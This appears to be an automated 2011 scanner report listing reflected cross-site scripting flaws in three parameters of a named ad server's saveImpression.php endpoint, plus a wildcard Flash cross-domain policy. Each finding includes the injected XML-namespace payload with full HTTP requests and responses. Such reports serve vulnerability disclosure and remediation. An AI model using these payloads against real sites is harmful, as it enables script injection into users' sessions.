XSS, evs.jovox.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 20 14:59:13 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [campaignId parameter]

1.2. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [elapsedTime parameter]

1.3. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [jvxSessionId parameter]

2. Flash cross-domain policy



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [campaignId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://evs.jivox.com
Path:   /jivox/serverAPIs/saveImpression.php

Issue detail

The value of the campaignId request parameter is copied into the XML document as plain text between tags. The payload 4f0c8<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>5271f6a9c92 was submitted in the campaignId parameter. This input was echoed as 4f0c8<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>5271f6a9c92 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Request

POST /jivox/serverAPIs/saveImpression.php HTTP/1.1
Host: evs.jivox.com
Proxy-Connection: keep-alive
Referer: http://as.jivox.com/player/JivoxAdPlayer.swf
content-type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 149

cpm=0&contentId=&adPlacement=0&campaignId=172694f0c8<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>5271f6a9c92&clickThrough=11&cpc=0&elapsedTime=0&userId=guest&siteId=64cf4e983aeba3&jvxSessionId=1300650818%2E5288

Response

HTTP/1.1 200 OK
Content-Type: text/xml; charset=iso-8859-1
Server: Jetty(6.1.x)
Content-Length: 263
Connection: keep-alive

<?xml version='1.0' encoding='UTF-8' ?>
<jivoxServerResponse>
<status>fail</status>
<status>Invalid arguments: (campaignId not an int):172694f0c8<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>5271f6a9c92</status>
...[SNIP]...

1.2. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [elapsedTime parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://evs.jivox.com
Path:   /jivox/serverAPIs/saveImpression.php

Issue detail

The value of the elapsedTime request parameter is copied into the XML document as plain text between tags. The payload bf83a<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>24ad7ce38dd was submitted in the elapsedTime parameter. This input was echoed as bf83a<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>24ad7ce38dd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Request

POST /jivox/serverAPIs/saveImpression.php HTTP/1.1
Host: evs.jivox.com
Proxy-Connection: keep-alive
Referer: http://as.jivox.com/player/JivoxAdPlayer.swf
content-type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 149

cpm=0&contentId=&adPlacement=0&campaignId=17269&clickThrough=11&cpc=0&elapsedTime=0bf83a<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>24ad7ce38dd&userId=guest&siteId=64cf4e983aeba3&jvxSessionId=1300650818%2E5288

Response

HTTP/1.1 200 OK
Content-Type: text/xml; charset=iso-8859-1
Server: Jetty(6.1.x)
Content-Length: 260
Connection: keep-alive

<?xml version='1.0' encoding='UTF-8' ?>
<jivoxServerResponse>
<status>fail</status>
<status>Invalid arguments: (elapsedTime not an int):0bf83a<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>24ad7ce38dd</status>
...[SNIP]...

1.3. http://evs.jivox.com/jivox/serverAPIs/saveImpression.php [jvxSessionId parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://evs.jivox.com
Path:   /jivox/serverAPIs/saveImpression.php

Issue detail

The value of the jvxSessionId request parameter is copied into the XML document as plain text between tags. The payload e360c<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>52c8a274407 was submitted in the jvxSessionId parameter. This input was echoed as e360c<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>52c8a274407 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Request

POST /jivox/serverAPIs/saveImpression.php HTTP/1.1
Host: evs.jivox.com
Proxy-Connection: keep-alive
Referer: http://as.jivox.com/player/JivoxAdPlayer.swf
content-type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 149

cpm=0&contentId=&adPlacement=0&campaignId=17269&clickThrough=11&cpc=0&elapsedTime=0&userId=guest&siteId=64cf4e983aeba3&jvxSessionId=1300650818%2E5288e360c<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>52c8a274407

Response

HTTP/1.1 200 OK
Content-Type: text/xml; charset=iso-8859-1
Server: Jetty(6.1.x)
Content-Length: 284
Connection: keep-alive

<?xml version='1.0' encoding='UTF-8' ?>
<jivoxServerResponse>
<status>fail</status>
<status>Invalid arguments: invalid sessionId format sessionId=1300650818.5288e360c<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>52c8a274407</status>
...[SNIP]...

2. Flash cross-domain policy  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://evs.jivox.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.1
Host: evs.jivox.com
Proxy-Connection: keep-alive
Referer: http://as.jivox.com/player/JivoxAdPlayer.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/x-cross-domain-policy; charset=ISO-8859-1
Server: Jetty(6.1.x)
Content-Length: 199
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*"/>
</cross-domain-policy>

Report generated by XSS.CX at Sun Mar 20 14:59:13 CDT 2011.